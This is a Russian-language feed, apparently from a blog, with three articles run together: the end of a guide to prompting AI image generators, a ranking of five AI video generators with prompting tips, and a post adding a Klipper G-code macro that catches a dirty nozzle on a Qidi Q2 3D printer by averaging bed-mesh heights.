Даже сильная нейросеть для генерации изображений бесплатно на русском не даст хороший кадр, если запрос составлен небрежно. Ниже — простой пошаговый подход, который работает почти в любом сервисе.

Шаг 1. Определите, что именно вы хотите получить

Не надо начинать с “сделай красиво”. Нужен конкретный ответ на три вопроса:

что в кадре;
в каком стиле;
для какой цели.

Например: реалистичный портрет, рекламный баннер, карточка товара, концепт интерьера, fashion-кадр.

Шаг 2. Опишите главный объект

Сначала — персонаж или предмет. Кто это? Как выглядит? Сколько ему лет? Что он делает? Во что одет? Какие есть характерные черты?

Шаг 3. Добавьте среду

Где происходит сцена? Улица, студия, лес, море, квартира, офис, снежная пустошь, индустриальный фон — все это влияет на результат сильнее, чем кажется.

Шаг 4. Задайте свет и настроение

Это один из самых недооцененных шагов. Свет часто решает половину результата. Укажите:

утро, закат, синий час, ночь;
мягкий свет или жесткий;
студийный или естественный;
теплый или холодный;
спокойная атмосфера или драматичная.

Шаг 5. Уточните визуальный язык

Если нужен именно фото-результат, так и пишите. Можно добавить:

крупный план;
боке;
documentary photography;
film grain;
realistic skin;
no retouch;
natural light.

Именно так работают сильные промты для генерации изображений в нейросетях: не набор случайных слов, а последовательное описание кадра.

Шаг 6. Уберите лишнее

Одна из главных ошибок — пытаться впихнуть в промт десять идей сразу. Если нужно реалистичное фото, не стоит одновременно просить “фотореализм, аниме, неон, сюрреализм, fashion editorial и старую пленку”. Модель либо запутается, либо выберет что-то одно.

Шаг 7. Сделайте 3–5 итераций

Даже лучшая нейросеть для генерации изображений редко попадает идеально с первого раза. Нормальная практика — сделать несколько заходов:

первый — базовый;
второй — усилить детали;
третий — поправить свет;
четвертый — уточнить лицо;
пятый — убрать лишнюю стилизацию.

Шаг 8. Сохраняйте удачные формулировки

Если нашли хороший шаблон промта, не теряйте его. Постепенно у вас появится личная библиотека: портреты, товарка, интерьеры, еда, рекламные сцены, moodboard-кадры. Это экономит массу времени.

Типичные ошибки при генерации фото

Даже если вы используете лучшие бесплатные нейросети для генерации изображений, ошибки в запросе быстро портят результат.

Слишком общий запрос

“Сделай мужчину у моря” — плохой промт. Он не задает ни характера, ни атмосферы, ни качества света, ни композиции.

Слишком много противоречий

Если вы пишете “гиперреалистично, как кино, как иллюстрация, как комикс, как старый постер, как fashion-съемка”, модель выбирает случайную смесь.

Нет главного акцента

Промт должен понимать, что главное: лицо, одежда, фон, предмет в руках, настроение, композиция. Если вы не расставили акценты, сервис сделает это за вас — и не факт, что удачно.

Перегруз техническими терминами

Иногда кажется, что чем больше настроек камеры вы напишете, тем лучше. На практике нет. Если вы не понимаете, зачем добавляете конкретное фокусное расстояние или ISO, лучше написать меньше, но точнее.

Игнорирование негативных ограничений

Если вам не нужна глянцевая кожа, студийный свет или лишняя ретушь — лучше это указать. В нашем тестовом промте именно фразы “без студийного света”, “без ретуши”, “без пластиковости” заметно улучшают шанс на живой результат.

Ожидание идеала с первого раза

Это, пожалуй, самая частая проблема. Люди думают, что генерация изображений бесплатно работает как кнопка “сделать шедевр”. На деле сильный результат почти всегда рождается через уточнение.

Как улучшить результат, если картинка уже почти хорошая

Допустим, нейронка для генерации изображений выдала кадр, который в целом нравится, но что-то не дожато. Что делать?

Если картинка слишком “глянцевая”

Добавьте:

no retouch;
natural pores;
documentary style;
realistic skin texture;
not studio-lit.

Если кадр слишком художественный, а нужен фото-реализм

Уберите лишние художественные указания и оставьте фотоязык: natural light, candid portrait, realistic photo, 35mm film grain, shallow depth of field.

Если фон спорит с героем

Сделайте фон вторичным: blurred background, soft bokeh, subtle distant lighthouse, background out of focus.

Если сервис теряет предмет в руках

Вынесите этот предмет ближе к началу промта и опишите его отдельно. Для модели важен порядок слов.

Именно такие маленькие правки чаще всего превращают “нормально” в “очень хорошо”.

Когда стоит использовать одну нейросеть, а когда — несколько

Практика показывает, что лучший результат часто дает не один сервис, а связка.

Например:

в одном сервисе вы ищете композицию;
в другом — добиваетесь лучшего лица;
в третьем — дорабатываете детали;
в четвертом — делаете вариации под разные форматы.

Такой подход особенно полезен, если вы работаете не “для себя”, а под бизнес-задачи. Тогда использовать нейросети для генерации изображений лучше как набор инструментов, а не как выбор одного “идеального”.

FAQ

Какая нейросеть лучше всего генерирует реалистичные фото людей?

Если задача — максимально правдоподобный портрет по сложному описанию, чаще всего сильнее выглядят сервисы с хорошим пониманием промта и аккуратной работой с текстурами кожи. В нашем сравнении лучший баланс точности и реализма показал GPT Image 1.5.

Можно ли получить качественную генерацию изображений бесплатно?

Да, частично можно. Но почти у всех сервисов бесплатный режим ограничен: по числу генераций, качеству, скорости или обязательной регистрации. Поэтому генерация изображений бесплатно без регистрации обычно подходит для знакомства с сервисом, а не всегда для постоянной рабочей нагрузки.

Какой промт лучше использовать для фотореализма?

Лучший промт для фотореализма — не обязательно самый длинный. Он должен четко описывать героя, среду, свет, фактуры, композицию и ограничения. Особенно хорошо работают уточнения вроде natural light, realistic skin, film grain, no retouch, shallow depth of field.

Что делать, если нейросеть не понимает запрос на русском?

Попробуйте два варианта: сначала русский промт, потом точный перевод на английский. Многие сервисы понимают русский нормально, но на сложных фото-запросах английская формулировка иногда дает более стабильный результат. Особенно если вам нужна тонкая работа со светом, атмосферой и фактурой.

Вывод: какую нейросеть для фото выбрать в 2026 году

Для реалистичных фото по сложному промту стоит смотреть на GPT Image 1.5. Это самый ровный, предсказуемый и убедительный вариант в задаче, где важны лицо, возраст, фактуры, свет и точность формулировки.

Если нужен быстрый и удобный сервис для постоянных экспериментов, Nano Banana 2 выглядит очень практично.

Если хотите атмосферу и художественную красоту, Midjourney V7 по-прежнему очень силен.

Если нужен плотный визуал и контроль изменений — Kling Image 3.0 заслуживает внимания. Если хочется более смелой, характерной генерации — можно идти в сторону Grok.

А если смотреть глазами обычного пользователя, который просто хочет получить классное изображение без лишних мук, то лучший путь такой: пробуйте один и тот же промт в 2–3 сервисах и сравните кто лучше попадает именно в вашу задачу. В этом и есть реальная сила AI-генерации: не в волшебной кнопке, а в возможности быстро выбирать лучший результат.

Если вам нужна нейросеть для генерации изображений бесплатно для старта, тестов и быстрой практики, лучше не искать мифический универсальный сервис, а сразу работать через сравнение. Один хороший промт, несколько генераторов, трезвая оценка результата — и вы очень быстро поймете, что подходит именно вам.

Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео

Sat, 18 Apr 2026 07:39:34 +0000

Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео

Еще вчера создание качественного видео требовало целой команды: операторов, монтажеров и часов рендеринга. Сегодня правила игры изменились окончательно. Генеративный искусственный интеллект совершил рывок от забавных «плывущих» роликов до фотореалистичных кадров, которые практически невозможно отличить от голливудских съемок.

Мир нейросетей для видео (Text-to-Video) развивается с невероятной скоростью. Появляются модели, способные не просто анимировать картинку, а понимать законы физики, анатомию и свет. На платформе Ranvik можно создать видеоролик онлайн используя различные модели нейросетей.

Нейросеть для видео ИИ: ТОП-5 нейросетей для генерации видео

Что мы сравнивали: генерация видео по одному промту

Чтобы сравнение было честным, мы берем не разные темы под каждую модель, а один и тот же запрос. Такой подход показывает реальную разницу: как нейросеть понимает атмосферу, насколько точно передает действие, умеет ли работать с движением камеры и удерживает ли детали персонажа в кадре.

Для теста мы использовали такой промт:

Крупный план космонавта, идущего по поверхности пустынной, скалистой инопланетной планеты во время пыльной бури. Песок красного оттенка бьется о стекло шлема. Свет тусклый, рассеянный, исходит от двух далеких лун в небе. На заднем плане видны очертания футуристического посадочного модуля и гигантские, причудливые скальные образования. Тяжелое, медленное дыхание космонавта визуально заметно по движению плеч. Камера следует за ним с низкой точки, как при ручной съемке, создавая эффект присутствия. Освещение приглушенное, в холодных тонах. Высокая детализация изношенного скафандра.

Посмотреть, как в целом устроена современная генерация видео по тексту, удобно на примерах готовых решений и сценариев использования — это помогает быстрее понять, что именно ждать от разных моделей. Примеры других работ можно найти в разделе промпты для видео.

ТОП-5 нейросетей для видео: краткий список

Ниже — 5 моделей, которые сегодня чаще всего обсуждают, тестируют и рассматривают для реальных задач.

Seedance 1.5 Pro

Нейросеть Seedance — это инструмент для генерации видео по текстовому описанию, разработанный компанией ByteDance. Она старается строить цельную сцену, а не случайный набор эффектных кадров. Seedance хорошо держит настроение, движение и общий образ персонажа на протяжении ролика, поэтому подходит для атмосферных и визуально связных видео.

Wan 2.6

Wan 2.6 нейросеть для создания видео по описанию делает акцент на цельности результата и понятной визуальной подаче. Она подходит для тех случаев, когда хочется получить выразительное видео без долгой борьбы с настройками. Wan часто выбирают за ощущение аккуратной, собранной сцены.

Kling AI 2.6 Pro

Kling AI 2.6 Pro — это нейросеть, ориентированная на зрелищный и динамичный результат. Она хорошо справляется с движением, камерой и общей кинематографичностью, поэтому часто используется в проектах, где важен эффект вау уже с первых секунд.

Veo 3.1

Veo 3.1 — это инструмент для генерации видео по текстовому описанию, который делает упор на реалистичность, атмосферу и плавность сцены. Такая модель подходит, когда нужен более “собранный” и визуально взрослый результат, похожий на фрагмент из настоящего ролика, а не просто эффектный эксперимент.

Vidu Q3

Vidu Q3 — это нейросеть для создания видео, которая помогает быстро превращать идею в короткий ролик с понятной структурой сцены. Ее часто выбирают пользователи, которым важны скорость, понятный интерфейс и возможность быстро проверить концепцию без сложного входа в тему.

Лучшие нейросети для генерации видео: подробный разбор

Seedance 1.5 Pro

Чем цепляет Seedance 1.5 Pro

У Seedance сильная сторона — ощущение цельности. Когда вы даете сложный атмосферный запрос, модель старается не рассыпать его на отдельные красивые куски. Она лучше многих удерживает один образ, одно настроение и одно визуальное направление. Это особенно заметно на сценах, где важны драматизм, плотная среда и медленное развитие действия.

В тесте с космонавтом Seedance хорошо раскрывает именно чувство присутствия. Камера будто идет рядом, сцена воспринимается как фрагмент из фильма, а не как эффектная анимация. Если промт написан внятно, ролик получается убедительным уже на первом-втором заходе.

Где использовать Seedance

Seedance хорошо подходит для таких задач:

атмосферные рекламные ролики;
концепты для брендов;
mood-видео для презентаций;
видеовизуал для музыкальных проектов;
кинематографичные заставки;
креативы для соцсетей, где важна визуальная глубина.

Кому подойдет

Эта модель понравится тем, кто ищет не просто нейросеть для генерации видео онлайн, а инструмент с выраженным стилем и чувством сцены. Если вам важно настроение кадра и вы хотите делать ролики с более дорогим визуальным ощущением, Seedance — один из самых интересных вариантов.

Когда Seedance особенно хорош

Лучше всего он раскрывается там, где ролик строится на атмосфере: фантастика, фэшн, имиджевые ролики, визуальные истории, трейлерные отрывки. Если задача — быстро сделать сухой объясняющий ролик, можно выбрать и более простой путь. Но если нужна “магия кадра”, Seedance часто дает очень сильный результат.

Wan 2.6

Чем интересен Wan 2.6

Wan 2.6 производит впечатление более спокойной и собранной модели. У него меньше ощущения, что он пытается любой ценой удивить зрителя. Зато часто лучше ощущается логика сцены: персонаж ведет себя предсказуемо, кадр не “ломается”, а ролик выглядит более аккуратно.

Это важно для пользователей, которым нужна не только эффектность, но и управляемость. Хорошая генерация видео нейросетью онлайн бесплатно часто начинается именно с теста спокойной модели, которая не уводит идею слишком далеко от запроса.

Где использовать Wan 2.6

Wan 2.6 удобен для:

прототипов рекламных роликов;
демонстрации сценарных идей;
коротких визуальных историй;
видео для блога;
презентаций продукта;
сторис и reels с понятной подачей.

Для каких задач он особенно удобен

Если нужно быстро показать заказчику направление без долгой шлифовки, Wan часто оказывается удобнее, чем модели с более ярко выраженным характером. Он не так сильно перетягивает внимание на “красоту ради красоты”, а помогает собрать сцену ближе к исходной идее.

Почему его стоит держать в списке

Wan 2.6 — хороший выбор, когда нужна не самая громкая, а самая практичная генерация видео для ежедневной работы. Он может оказаться особенно полезным маркетологам, дизайнерам, продюсерам контента и всем, кто делает много тестовых роликов и не хочет тратить время на бесконечные перегенерации.

Kling AI 2.6 Pro

Что дает Kling AI 2.6 Pro

Kling AI 2.6 Pro любят за зрелищность. Эта модель умеет делать кадры, которые сразу выглядят “дорого” и цепляют вниманием. Она особенно хороша там, где в сцене есть движение, драматичное поведение камеры, смена планов, динамика среды.

В тестовом космическом промте Kling обычно раскрывается через масштаб и движение: буря ощущается активнее, а камера сильнее подчеркивает напряжение. Если цель — впечатлить, это один из самых заметных кандидатов.

Где использовать Kling AI 2.6 Pro

Лучшие сценарии для Kling:

рекламные тизеры;
трейлерные фрагменты;
видеокреативы для соцсетей;
презентации идей в агентствах;
контент, где важно мгновенно зацепить зрителя;
визуальные концепты для игровых и фантастических проектов.

Для кого подходит Kling

Если вы хотите сгенерировать видео ИИ с ощущением масштаба и зрелищности, Kling — один из сильных вариантов. Он нравится тем, кто делает ролики для wow-эффекта: от промо до развлекательного контента.

В чем его практическая ценность

Для многих команд Kling полезен как быстрый генератор. Его можно использовать не только для финального ролика, но и для поиска стилистики, теста подачи, создания визуальных черновиков и обсуждения креативной концепции внутри команды.

Если вы сравниваете сервисы и хотите понять, какая нейросеть для генерации видео бесплатно лучше подойдет именно под коммерческую задачу, важно смотреть не на громкость бренда, а на то, какой тип роликов вы планируете делать чаще всего.

Veo 3.1

Почему Veo 3.1

Сильная сторона Veo 3.1 — ощущение плавности, аккуратности и визуальной зрелости. Видео выглядят так, будто у сцены есть внутренняя дисциплина: меньше случайного шума, больше ощущения, что ролик действительно поставлен.

Где Veo 3.1 особенно полезен

Он хорошо подходит для:

презентационных роликов;
имиджевого видео;
премиальных рекламных концептов;
коротких историй с кинематографичным тоном;
внутренних pitch-видео для брендов и команд;
визуальных тестов перед полноценным продакшном.

Кому стоит присмотреться к Veo

Тем, кто ищет не просто ИИ онлайн создающий видео, а инструмент для более серьезного визуального результата. Если вам важно, чтобы ролик выглядел дорого и спокойно, без лишней крикливости, Veo может оказаться одним из лучших вариантов.

Когда Veo выигрывает

Он особенно хорош тогда, когда важен не только эффект, но и доверие к картинке. Например, в презентациях для клиента или инвестора слишком “игрушечный” ролик может испортить впечатление. Veo чаще помогает избежать этого ощущения.

Vidu Q3

Чем удобен Vidu Q3

Vidu Q3 нравится многим своей понятностью. Это инструмент, который помогает быстро перейти от идеи к ролику без ощущения, что нужно сначала неделю изучать интерфейс и поведение модели. Для большого числа пользователей это важнее, чем максимальная художественная глубина.

Когда речь идет о первых тестах, быстрых креативах, повседневной работе с контентом и простом входе в тему, Vidu Q3 выглядит очень практично. Он помогает быстрее освоить сам принцип, как работает нейросеть для генерации видео по тексту.

Где использовать Vidu Q3

Чаще всего его применяют для:

коротких роликов для соцсетей;
теста идей;
контента для личного бренда;
видео для небольших проектов;
простых рекламных заготовок;
быстрых визуальных концептов.

Кому он подходит лучше всего

Vidu Q3 — хороший выбор для новичков, предпринимателей, авторов и небольших команд, которые хотят быстро создать видео с помощью ИИ без перегрузки лишними действиями. Это не значит, что модель только для начинающих. Скорее, она просто дружелюбнее на входе.

В чем ее сильная бытовая ценность

Иногда лучшая модель — не та, что дает самый красивый единичный ролик, а та, которой вы будете реально пользоваться каждую неделю. В этом смысле Vidu Q3 удобен: он помогает не откладывать идею, а сразу переводить ее в видео.

Возможности нейросетей для генерации видео

Современная нейросеть для генерации видео умеет намного больше, чем просто анимировать абстрактную сцену. Даже если не углубляться в технические детали, уже сейчас можно выделить несколько реальных возможностей, которые полезны в работе.

Генерация видео по тексту

Это базовый и самый востребованный сценарий. Вы описываете сцену словами, а модель превращает описание в ролик. Именно поэтому так востребована генерация видео по описанию: она позволяет начать работу без камеры, актеров и площадки.

Генерация видео по фото

Отдельный популярный сценарий — генерация видео по фото. Пользователь берет изображение персонажа, продукта, интерьера или объекта и просит модель “оживить” сцену. Часто это используют для карточек товара, портретных видео, коротких анимаций и презентационных материалов.

Онлайн-работа без сложного входа

Многим важна именно видео генерация онлайн, когда не нужно ничего ставить на компьютер и разбираться в тяжелом софте. Пользователь заходит в сервис, вставляет промт, загружает картинку при необходимости и получает ролик прямо в браузере.

Быстрые прототипы

Нейросети сильно экономят время на этапе идеи. Вы можете за вечер проверить 5–10 вариантов ролика, сравнить атмосферу, движение, стиль и выбрать лучшее направление. Раньше на это ушла бы неделя переписок, раскадровок и тестов.

Масштабирование контента

Один и тот же продукт можно показать по-разному: для сайта, для рекламы, для сторис, для вертикального видео, для презентации. Там, где раньше требовалось несколько отдельных продакшн-сессий, теперь часть задач закрывает создать видео через ИИ по разным сценариям на основе одной идеи.

Как выбрать нейросеть для видео под свою задачу

Выбирать нужно не “самую хайповую” модель, а ту, которая подходит под ваш формат работы. Универсальной нейросети нет. У каждой сильны свои стороны.

Если нужен вау-эффект

Для ярких, эффектных, эмоциональных роликов чаще выбирают Kling AI 2.6 Pro или Seedance 1.5 Pro. Они лучше работают там, где важны зрелищность, движение и сильное первое впечатление.

Если нужна управляемость

Если вы делаете много прототипов, согласовываете идеи с клиентом или командой и хотите более предсказуемый результат, разумно смотреть на Wan 2.6 или Vidu Q3.

Если вы только начинаете

Новичкам важна не только картинка, но и порог входа. В этом случае лучше брать понятный инструмент, на котором легко учиться, а уже потом переходить к более капризным моделям. Иначе можно решить, что создать ИИ видео сложно, хотя проблема была не в технологии, а в выборе слишком требовательного инструмента.

На что смотреть при выборе

Ориентируйтесь на пять простых критериев:

насколько модель понимает ваш тип промтов;
как она держит персонажа и сцену;
удобно ли вам делать несколько попыток;
подходит ли результат под ваш стиль контента;
реально ли вы будете использовать этот сервис регулярно.

Как сделать видео: пошаговая инструкция

Многие пользователи заходят в сервис и сразу пишут что-то вроде: “Сделай красивое видео космоса”. После этого получают средний результат и разочаровываются. На практике хороший ролик — это последовательность простых шагов.

Шаг 1. Определите цель

Сначала ответьте себе, зачем вам ролик:

для рекламы;
для соцсетей;
для презентации;
для теста идеи;
для личного проекта;
для сторителлинга.

Одна и та же сцена может быть красивой, но бесполезной, если она не решает вашу задачу.

Шаг 2. Определите формат

Сразу решите:

вертикальное видео или горизонтальное;
короткий ролик или длиннее;
атмосферный темп или динамичный;
реалистичный стиль или более художественный.

Это помогает точнее поставить задачу AI для генерации видео.

Шаг 3. Напишите промт

Лучший подход — описывать сцену не общими словами, а по слоям:

кто в кадре;
где происходит действие;
что делает герой;
как движется камера;
какое освещение;
какое настроение;
какие детали особенно важны.

Именно так работает сильная генерация видео по тексту бесплатно в тех сервисах, где дают тестовый доступ или демо-возможности.

Шаг 4. Сделайте первую генерацию

Не ждите, что первый результат будет идеальным. Первая генерация нужна, чтобы увидеть направление: правильно ли модель поняла атмосферу, героя, движение и акценты.

Шаг 5. Доработайте промт

После первой попытки улучшайте описание:

усиливайте важные детали;
убирайте лишнее;
уточняйте камеру;
конкретизируйте свет;
задавайте темп сцены.

Шаг 6. Сравните 2–3 варианта

Хороший результат часто рождается не с одной попытки. Даже сильные модели для генерации видео раскрываются по-разному на почти одинаковых формулировках.

Шаг 7. Выберите лучший ролик и адаптируйте под задачу

После генерации оцените ролик не только по красоте, но и по пользе. Подходит ли он под рекламу? Удерживает ли внимание? Считывается ли идея в первые секунды? Если да — ролик можно использовать дальше.

Как писать промт, чтобы видео получалось лучше

Промт — это не магическое заклинание, а понятная постановка задачи. Чем яснее вы описываете сцену, тем выше шанс, что модель даст полезный результат.

Начинайте с главного объекта

Сначала скажите, кто или что главное в кадре. Например: космонавт, девушка, автомобиль, дом, робот, продукт на столе. Не стоит начинать с второстепенных деталей.

Затем задавайте окружение

После героя укажите, где он находится. Пустынная планета, городской дождливый вечер, темный коридор, студия, лес, футуристический интерьер — это задает общий фундамент сцены.

Потом добавляйте действие

Главный объект должен что-то делать. Идти, смотреть в камеру, поднимать руку, ехать, бежать, оглядываться, открывать дверь. Действие оживляет сцену и помогает модели понять, что вы хотите именно видео, а не статичную картинку.

Не забывайте про камеру

Очень часто качество ролика решается именно камерой:

крупный план;
средний план;
низкая точка;
следование за персонажем;
ручная съемка;
медленный проезд;
плавное приближение.

Для качественного результата это почти так же важно, как и сам сюжет.

Описывайте свет и настроение

Свет — это половина восприятия. Приглушенный, холодный, мягкий, контрастный, закатный, неоновый, рассеянный — такие слова сразу задают тон.

Делайте промт конкретным, но не перегруженным

Ошибка новичка — пытаться впихнуть в один запрос весь фильм. Для хорошего результата важен баланс: достаточно деталей, чтобы сцена была понятной, но не так много, чтобы модель начала путаться.

Это особенно важно, если вы хотите создать видео ИИ по тексту без десятков повторных попыток.

Типичные ошибки и как их избежать

Даже сильная нейросеть для генерации видео по тексту не спасет, если задача поставлена слабо. Вот ошибки, которые встречаются чаще всего.

Слишком общий промт

“Сделай красивое видео космоса” — плохой запрос. Он не задает героя, настроение, действия, камеру и свет. Результат почти всегда будет средним.

Как исправить: описывайте сцену предметно и последовательно.

Слишком много идей в одном запросе

Пользователь хочет, чтобы в одном ролике были город, лес, космос, робот, дрон, взрыв, дождь, портрет и смена дня на ночь. Итог — хаос.

Как исправить: одна сцена — одна главная идея.

Нет указания на движение

Если в промте не сказано, что происходит, ролик может выглядеть почти статичным.

Как исправить: добавляйте действие героя, движение камеры и динамику среды.

Нет атмосферы

Без света, настроения и среды ролик получается пустым.

Как исправить: обязательно описывайте освещение, цветовую температуру, эмоцию сцены и фактуру окружения.

Ожидание идеала с первой попытки

Пользователь делает один запуск и решает, что сервис плохой. Но хороший результат почти всегда требует пары итераций.

Как исправить: воспринимайте первую генерацию как черновик, а не как финал.

Может ли нейросеть заменить обычный продакшн

Полностью — не всегда. Но во многих задачах уже сейчас ИИ закрывает существенную часть работы.

Он отлично подходит для:

теста идеи до съемки;
быстрых креативов;
раскадровки и визуального поиска;
контента, где важна скорость;
роликов, не требующих сложного реального взаимодействия объектов.

При этом в больших коммерческих проектах живой продакшн по-прежнему остается важным. Но даже там ИИ нейросеть создать видео может на раннем этапе сэкономить деньги, время и количество правок.

FAQ

Какая нейросеть для генерации видео лучше всего подходит новичку?

Для новичка лучше выбирать сервис, где понятный интерфейс и быстрый вход в процесс. Часто удобнее начинать с модели, которая не требует долгой настройки и позволяет быстро увидеть результат. Важнее не “самая мощная” модель, а та, на которой вы сможете регулярно тренироваться и улучшать промты.

Можно ли сделать генерацию видео бесплатно?

Да, во многих сервисах есть пробный доступ, демо-режим или стартовые кредиты, поэтому генерация видео бесплатно для первых тестов вполне реальна. Но для постоянной работы и большого объема роликов обычно все равно нужен платный доступ или более расширенный тариф.

Что лучше: генерация видео по тексту или по фото?

Зависит от задачи. Генерация видео по тексту лучше подходит, когда вы создаете сцену с нуля и хотите полностью описать идею словами. Генерация видео по фото удобнее, когда у вас уже есть изображение персонажа, продукта или объекта, и его нужно оживить.

Какой промт дает лучший результат?

Лучший промт — конкретный. В нем есть главный объект, окружение, действие, камера, свет, настроение и важные детали. Чем яснее постановка задачи, тем выше шанс, что нейросеть для генерации видео покажет именно то, что вы задумали.

Можно ли использовать ИИ-видео в бизнесе?

Да, и именно в бизнесе такие ролики особенно полезны. Их используют для рекламы, презентаций, теста креативов, визуализации идеи, контента для сайта и соцсетей. Это хороший способ ускорить работу и проверить гипотезы до полноценного продакшна.

Итог

Нейросети для видео уже стали рабочим инструментом, а не экспериментом “на будущее”. Сегодня с их помощью можно быстро проверить идею, сделать атмосферный ролик, собрать визуальный концепт, оживить фото, подготовить креатив для рекламы или контента. Главное — не искать волшебную кнопку, а понимать, какая модель подходит именно под вашу задачу.

Хорошая генерация видео начинается не с кнопки “создать”, а с ясной идеи: кто в кадре, что происходит, как движется камера, какой свет, какая эмоция должна остаться у зрителя. Именно поэтому один сильный промт часто решает больше, чем десять случайных попыток.

Избавляем Qidi Q2 от «сопливого носа» при старте печати

bricks_can_fly — Sat, 18 Apr 2026 07:16:13 +0000

Наверное редкий владелец принтера Qidi Q2 и подобных с тензодатчиком не сталкивался с проблемой: на кончик сопла налипла капля пластика, датчик из-за неё сработал раньше времени, и в итоге вся карта высот стола (Bed Mesh) “улетела” вверх. Результат — первый слой печатается в воздухе, адгезии ноль, печать испорчена.

Вместо того чтобы надеяться на удачу или бесконечно тереть сопло об щетку, предлагаю добавить простую проверку в стартовый макрос печати.

Идея

Проблема возникает именно из-за наличия тензодатчика (это новация Qidi Q2) и логики подготовки печати. Принтер выполняет “продувку” сопла в корзину, охлаждает сопло до 140 градусов и выполняет пару проходов по силиконовой щетке. Это срабатывает не всегда, иногда на холодном сопле остается капля довольно жесткого пластика при такой температуре. И с таким носом принтер уже едет делать Z_TILT_ADJUST и G29.

Если посмотреть на стартовый скрипт печати Qidi Q2:

PRINT_START

[gcode_macro PRINT_START]
gcode:
    SKEW_PROFILE LOAD=qidi_q2_skew
    AUTOTUNE_SHAPERS
    DISABLE_ALL_SENSOR
    CLEAR_PAUSE
    
    {% set bedtemp = params.get('BED') | int %}
    {% set hotendtemp = params.get('HOTEND') | int %}
    {% set chambertemp = params.get('CHAMBER', 0) | int %}
    {% set extruder = params.EXTRUDER|default(0)|int %}
    {% set Polar_cooler = printer.save_variables.variables.enable_polar_cooler|default(0) %}

    M104 S0
    {% if chambertemp == 0 %}
        M106 P3 S255
    {% endif %}
    M140 S{bedtemp}    
    G28   
    M141 S{chambertemp}    
    SET_GCODE_OFFSET Z=0 MOVE=0
    BUFFER_MONITORING ENABLE=0
    {% if printer.save_variables.variables.box_count >= 1 and printer["box_extras"] %} 
        SAVE_VARIABLE VARIABLE=load_retry_num VALUE=0
        SAVE_VARIABLE VARIABLE=retry_step VALUE=None
        CLEAR_TOOLCHANGE_STATE
        {% for i in range(16) %}
            SAVE_VARIABLE VARIABLE=runout_{i} VALUE=0
            G4 P100
        {% endfor %}
        {% if printer.save_variables.variables.enable_box == 1 %}
            BOX_PRINT_START EXTRUDER={extruder} HOTENDTEMP={hotendtemp}
            M400
            EXTRUSION_AND_FLUSH HOTEND={hotendtemp}
        {% endif %}
    {% endif %}

    CLEAR_NOZZLE HOTEND={hotendtemp}
    #切料调平
    CUT_FILAMENT_1
    M104 S140
    G4 P3000
    M400
    G28    
    Z_TILT_ADJUST

    M104 S140
    M190 S{bedtemp}   
    M191 S{chambertemp}
    M400
    G4 P3000
    
    G29
    G0 Z50 F600
    G0 X260 Y5  F30000
    {% if printer.save_variables.variables.box_count >= 1 and printer["box_extras"] and printer.save_variables.variables.enable_box == 1 %}
        BUFFER_MONITORING ENABLE=1 
    {% endif %}
    M191 S{chambertemp}
    M109 S{hotendtemp}
    M204 S10000
    M106 P4 S{Polar_cooler}                    #根据设置开启空调

    set_zoffset
    ENABLE_ALL_SENSOR
    save_last_file

Видно что единственное куда стоит вмешаться это команда G29 (bed mesh), остальное от смещения по z пострадать не должно, даже Z_TILT_ADJUST отработает корректно. Но после G29 с грязным соплом вся последующая сетка высот стола (kamp) будет иметь положительное смещение.

Реализация защиты

Предлагаю следующий макрос, который после построения сетки вычисляет среднее арифметическое значение Z всех точек. Если оно выше определенного порога, принтер уходит на повторную чистку и переделывает сетку заново. После этого мы повторяем G29 и если повторная сетка высот легла выше порога - выбрасываем алерт и прерываем печать.

Добавьте код макроса _CHECK_NOZZLE_DIRTYв gcode_macro.cfg:

[gcode_macro _CHECK_NOZZLE_DIRTY]
description: Детекция грязного сопла и автоматический повтор очистки
variable_retry_count: 0
gcode:
    {% set profile = params.PROFILE|default('kamp') %}
    {% set hotendtemp = params.HOTEND|default(250)|int %}
    
    # Проверяем наличие профиля сетки в системе
    {% if profile in printer.bed_mesh.profiles %}
        {% set mesh = printer.bed_mesh.profiles[profile].points %}
        {% set total_z = namespace(val=0) %}
        {% set count = namespace(val=0) %}

        # Считаем сумму всех значений Z в сетке
        {% for row in mesh %}
            {% for z in row %}
                {% set total_z.val = total_z.val + z %}
                {% set count.val = count.val + 1 %}
            {% endfor %}
        {% endfor %}

        # Вычисляем средний по Z
        {% if count.val > 0 %}
            {% set avg_z = total_z.val / count.val %}
        {% endif %}

        # Порог 0.07 — мое значение, подберите под себя.
        {% if avg_z > 0.07 %}
            {% if retry_count < 1 %}
                { action_respond_info("ВНИМАНИЕ: Сопло грязное (Z-avg: %.3f). Попытка очистки..." % avg_z) }
                SET_GCODE_VARIABLE MACRO=_CHECK_NOZZLE_DIRTY VARIABLE=retry_count VALUE=1
                
                CLEAR_NOZZLE HOTEND={hotendtemp} # стандартный макрос чистки qidi
                G28 Z
                G29 # повторный замер сетки (получим новые цифры в 'kamp')
            {% else %}
                SET_GCODE_VARIABLE MACRO=_CHECK_NOZZLE_DIRTY VARIABLE=retry_count VALUE=0
                { action_raise_error("ОШИБКА: Повторная чистка не помогла (Z-avg: %.3f). Остановка." % avg_z) }
            {% endif %}
        {% else %}
            { action_respond_info("ПРОВЕРКА: Сопло чистое (Z-avg: %.3f). Печать разрешена." % avg_z) }
            SET_GCODE_VARIABLE MACRO=_CHECK_NOZZLE_DIRTY VARIABLE=retry_count VALUE=0
        {% endif %}
    {% else %}
        { action_respond_info("ПРОВЕРКА: Профиль сетки %s не найден." % profile) }
    {% endif %}

Вставьте вызов макроса в ваш PRINT_START сразу после калибровки стола G29:

# ... подготовка, нагрев ...
G29 ; Калибровка сетки стола
_CHECK_NOZZLE_DIRTY PROFILE=kamp HOTEND={hotendtemp}
# ... продолжение печати ...

Вот так работа макроса выглядит в логах klipper:

...
Mesh Bed Leveling Complete
save_config: set [bed_mesh kamp] version = 1
save_config: set [bed_mesh kamp] points =   0.031094, 0.072891, 0.070781, 0.028594  0.153359, 0.182891, 0.177109, 0.173594  0.212812, 0.222578, 0.060469, 0.208047  0.254922, 0.230703, 0.238828, 0.230625  0.219219, 0.217187, 0.008594, -0.021797  0.143516, 0.169922, 0.005234, -0.037188
save_config: set [bed_mesh kamp] x_count = 4
save_config: set [bed_mesh kamp] y_count = 6
save_config: set [bed_mesh kamp] mesh_x_pps = 2
save_config: set [bed_mesh kamp] mesh_y_pps = 2
save_config: set [bed_mesh kamp] algo = lagrange
save_config: set [bed_mesh kamp] tension = 0.2
save_config: set [bed_mesh kamp] min_x = 60.0
save_config: set [bed_mesh kamp] max_x = 210.0
save_config: set [bed_mesh kamp] min_y = 10.0
